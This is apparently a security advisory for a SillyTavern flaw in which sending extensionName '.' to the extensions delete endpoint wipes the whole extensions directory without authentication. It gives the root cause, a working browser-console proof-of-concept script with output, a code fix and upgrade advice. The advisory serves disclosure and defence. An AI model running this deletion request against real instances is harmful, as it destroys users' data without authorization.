Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Default config needs no auth (PR:N) and a single low-complexity network request (AV:N/AC:L); impact is destructive deletion of extensions (I:H/A:H) with no data disclosure (C:N).
Primary rating from Vendor (https://github.com/SillyTavern/SillyTavern).
CVSS VectorVendor: https://github.com/SillyTavern/SillyTavern
Lifecycle Timeline
3DescriptionCVE.org
Summary
POST /api/extensions/delete endpoint accepts extensionName: "." which bypasses sanitize-filename validation, causing the entire user extensions directory to be recursively deleted. No authentication is required in the default configuration.
Affected File
src/endpoints/extensions.js (last modified: commit 3ad9b05e2)
Root Cause
The validation check occurs before sanitization:
// [1] "." is truthy - passes the check
if (!request.body.extensionName) {
return response.status(400).send('Bad Request');
}
// [2] sanitize(".") → ""
const extensionPath = path.join(basePath, sanitize(extensionName));
// path.join("data\\default-user\\extensions", "")
// = "data\\default-user\\extensions" ← basePath itself!
// [3] Deletes the entire extensions directory
await fs.promises.rm(extensionPath, { recursive: true });sanitize-filename converts "." to "" (documented behavior). path.join(basePath, "") returns basePath itself. Result: the entire data\default-user\extensions\ directory is deleted.
Proof of Concept
Tested on: Windows 10, SillyTavern v1.17.0, commit 004f1336e Authentication: none (basicAuthMode: false, default configuration)
Run in browser console (F12) while SillyTavern is open:
async function poc() {
const { token } = await (await fetch('/csrf-token')).json();
const headers = {
'Content-Type': 'application/json',
'X-CSRF-Token': token,
};
// Before: 1 extension installed
const before = await (await fetch('/api/extensions/discover', { headers })).json();
console.log('Before:', before.filter(e => e.type === 'local'));
// [{ type: 'local', name: 'third-party/Extension-Notebook' }]
// Attack
const res = await fetch('/api/extensions/delete', {
method: 'POST',
headers,
body: JSON.stringify({ extensionName: '.' }),
});
console.log('Status:', res.status); // 200
console.log('Body:', await res.text()); // "Extension has been deleted at data\default-user\extensions"
// After: empty
const after = await (await fetch('/api/extensions/discover', { headers })).json();
console.log('After:', after.filter(e => e.type === 'local'));
// []
}
poc();Result: Before: [{ type: 'local', name: 'third-party/Extension-Notebook' }] Status: 200 Body: Extension has been deleted at data\default-user\extensions After: []
Impact
- No authentication required (
basicAuthMode: falseby default).
Any user with network access to the SillyTavern instance can permanently delete the entire extensions directory with a single HTTP request.
- All installed third-party extensions are unrecoverably lost.
- With
global: trueand admin privileges, the global extensions directory
shared across all users can also be deleted.
- This vulnerability can be chained with CVE-2025-59159 (DNS rebinding) to
enable unauthenticated remote exploitation from a malicious website.
Same Pattern in Other Endpoints
The same vulnerability exists in:
POST /api/extensions/updatePOST /api/extensions/versionPOST /api/extensions/branchesPOST /api/extensions/switch
Suggested Fix
const sanitized = sanitize(extensionName);
// Check AFTER sanitizing
if (!sanitized) {
return response.status(400).send('Bad Request: Invalid extension name.');
}
const extensionPath = path.join(basePath, sanitized);
// Additional path traversal guard
const resolvedPath = path.resolve(extensionPath);
const resolvedBase = path.resolve(basePath);
if (!resolvedPath.startsWith(resolvedBase + path.sep)) {
return response.status(400).send('Bad Request: Invalid extension path.');
}Apply the same fix to /update, /version, /branches, and /switch endpoints.
References
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H (9.1 Critical)
- sanitize-filename npm: https://www.npmjs.com/package/sanitize-filename
- Related CVE (same project): CVE-2025-59159
##REPORTED BY Jormungandr
AnalysisAI
Unauthenticated directory deletion in SillyTavern versions <= 1.17.0 lets remote attackers wipe a user's entire extensions directory by sending 'extensionName' value of '.' to the POST /api/extensions/delete endpoint. Because the truthiness check runs before sanitize-filename (which collapses '.' to an empty string), path.join resolves back to the extensions base directory itself and fs.rm recursively deletes it. A working proof-of-concept exists and no authentication is needed in the default configuration (basicAuthMode: false), though EPSS scores this at just 0.08% and it is not on the CISA KEV list - no public exploit identified as actively exploited at time of analysis.
Technical ContextAI
SillyTavern is a self-hosted Node.js/Express front-end for large language model chat, distributed via npm (pkg:npm/sillytavern). The flaw lives in src/endpoints/extensions.js and is a classic CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) manifesting as arbitrary directory deletion. The root cause is ordering: the handler validates that request.body.extensionName is truthy, then passes it to the sanitize-filename npm package. Per that library's documented behavior, sanitize('.') returns an empty string, and Node's path.join(basePath, '') returns basePath unchanged. The subsequent fs.promises.rm(extensionPath, { recursive: true }) therefore targets the extensions base directory (e.g. data/default-user/extensions) rather than a child of it. The same before-sanitize validation pattern is reported to affect the /update, /version, /branches, and /switch endpoints.
RemediationAI
Vendor-released patch: upgrade to SillyTavern 1.18.0 or later, which corrects the validation ordering (release notes: https://github.com/SillyTavern/SillyTavern/releases/tag/1.18.0; advisory: https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-886q-f44j-h6wh). If immediate upgrade is not possible, restrict network exposure by binding SillyTavern to localhost only and enabling basic authentication (basicAuthMode: true) so the endpoint is not reachable unauthenticated - the trade-off is that remote/shared access then requires credentials. Because the exploit can be chained with DNS rebinding (CVE-2025-59159), also configure the private-address whitelist and forwarded-IP header controls introduced in 1.18.0, and place the instance behind an authenticating reverse proxy. As a data-safety compensating control, back up the data/*/extensions directories so a successful deletion is recoverable; note this does not prevent the deletion, only limits its permanence.
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External POC / Exploit Code
Leaving vuln.today
EUVD-2026-33404
GHSA-886q-f44j-h6wh